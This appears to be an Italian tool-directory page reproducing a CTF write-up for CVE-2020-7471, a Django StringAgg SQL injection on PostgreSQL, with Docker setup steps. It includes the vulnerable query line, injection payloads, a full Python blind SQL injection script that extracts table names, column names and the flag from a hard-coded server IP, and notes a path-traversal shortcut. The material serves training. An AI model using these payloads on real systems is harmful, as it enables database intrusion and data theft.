Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CTF_CVE-2020-7471 — Sfida CTF che sfrutta CVE-2020-7471, una vulnerabilità di SQL injection Django in PostgreSQL StringAgg, con setup Docker e script di exploit. | Kitploit
Strumenti/GitHubGitHub/tempuss/ctf_cve-2020-7471
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubtempuss/ctf_cve-2020-7471

CTF_CVE-2020-7471

Sfida CTF che sfrutta CVE-2020-7471, una vulnerabilità di SQL injection Django in PostgreSQL StringAgg, con setup Docker e script di exploit.

Vedi Repository
75 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DOBBY_IS_FREE!

  • CTF proposto: 2020 Christmas CTF
  • Categoria: WEB
  • Parola chiave: DOBBY_IS_FREE!
  • Difficoltà: ★★★☆☆

Contesto

Poiché di solito gli Web hacker studiano principalmente le SQL Injection su MySQL, ho voluto creare un problema di Injection usando PostgreSQL, così da poter fare esperienza con attacchi a diversi DB.

Soluzione

Soluzione prevista

  • Poiché la vulnerabilità si verifica in un servizio Django, per fornire un indizio è stato aggiunto un header personalizzato chiamato Version nella Response HTTP, indicando le versioni di Django e Postgres. Cercando le vulnerabilità SQL Injection presenti nella versione Django 3.0.1, si trovano POC pubblicati e così via. Risposta Custom_Header

  • All'accesso al sito web viene mostrato l'elenco degli articoli

Elenco degli articoli
  • Facendo clic sul numero a sinistra, l'articolo viene recuperato in base al suo pk e al valore di content Articolo

  • Codice backend effettivo

  • root@kitploit:~
    results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
        custom_field=StringAgg('content', delimiter=content)).all()
    

    La funzione StringAgg restituisce stringhe concatenate insieme a un delimitatore; poiché non esiste alcuna validazione dei valori di input, è possibile inserire un payload di injection nella parte content.

    root@kitploit:~
    http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
    

    Soluzione adottata dagli hacker

    • A causa di un errore di configurazione del server nginx si è verificata una vulnerabilità di Path Traversal: accedendo all'URL http://118.67.135.137/static../ è diventato possibile accedere a tutti i file del server, riuscendo così a leggere il file dump di backup e ottenere la flag.

    Vulnerabilità

    CVE-2020-7471

    • Problema che sfrutta la vulnerabilità di SQL Injection CVE-2020-7471, trovata nelle versioni Django 1.11, 2.2 e 3.0.x ≤ 3.0.2

    • Vulnerabilità causata dall'insufficiente validazione dei valori degli argomenti nel codice relativo alla funzione StringAgg di PostgreSQL

    Exploit

    • Di seguito è riportato il codice dell'exploit.
    root@kitploit:~
    import requests
    
    server = "http://118.67.135.137/post/"
    
    id = 1
    content_param = f"/?content="
    content = "IS_FREE!"
    
    
    
    def exists_check(content):
        """응답값 체크용 함수"""
        if "title" in str(content):
            return True
        else:
            return False
    
    
    
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
        "Cache-Control": "no-cache",
        "Connection": "keep-alive",
        "Host": "127.0.0.1:8000",
        "Pragma": "no-cache",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
    }
    
    def get_table_info_from_information_schema():
        # table 개수 조회
        table_count = 0
        table_count_get = False
        while table_count_get is False:
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
    
            table_count = table_count + 1
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                table_count = table_count - 1
                table_count_get = True
    
    
        # table list 추출
        table_row_list = []
        # public table 개수 만큼 loop
        for table_row in range(0,table_count):
            # table 명 길이 조회
            for table_name_size in range(0,50):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    break
            # table 이름 사이즈 만큼 루프
            table_name = ""
            for i in range(0,table_name_size):
                for ascii in range(0,128):
                    payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                    url = f"{server}{id}{content_param}{payload}"
                    resp = requests.get(url=url, headers=headers)
                    if exists_check(resp.content):
                        table_name = table_name+str(chr(ascii))
                        break
            table_row_list.append(table_name)
    
        print(table_row_list)
    
    def get_column_info_from_information_schema():
        vul_flag_column_count = 0
        table_count_get = False
        while table_count_get is False:
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
    
            #time.sleep(1)
            vul_flag_column_count = vul_flag_column_count + 1
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                vul_flag_column_count = vul_flag_column_count - 1
                table_count_get = True
    
        column_name_list = []
        for i in range(0,vul_flag_column_count):
            # table 명 길이 조회
            for table_name_size in range(0,50):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    break
    
            #vul_flag table column 이름 조회
            column_name = ""
            for j in range(1,table_name_size+1):
                for ascii in range(0,128):
                    payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                    url = f"{server}{id}{content_param}{payload}"
                    resp = requests.get(url=url, headers=headers)
                    if exists_check(resp.content):
                        column_name = column_name+str(chr(ascii))
                        break
            column_name_list.append(column_name)
    
        print(column_name_list)
    
    def get_flag_from_flag_table():
        for flag_length in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
    
        flag = ""
        for j in range(1,flag_length+1):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    flag = flag+str(chr(ascii))
                    break
        print(flag)
    
    #Information Schema에서 테이블 정보 추출
    #get_table_info_from_information_schema()
    
    #테이블명 알아냈으니 information_schema에서 column 정보 추출
    #get_column_info_from_information_schema()
    
    #column정보 기반으로 flag 값 추출
    get_flag_from_flag_table()
    
    
    • Di seguito è riportato il risultato dell'esecuzione.
    root@kitploit:~
    D033Y_!S_L0N3LY
    

    Come avviare il servizio


    1. Crea l'immagine Docker
    root@kitploit:~
    make build
    
    1. Avvia l'immagine Docker
    root@kitploit:~
    make up
    
    1. Controlla il sito web
    • 127.0.0.1.

    Riferimenti

    Poc CVE-2020-7471 Django Security Django Offical Document Django Release History

    Scarica lo strumento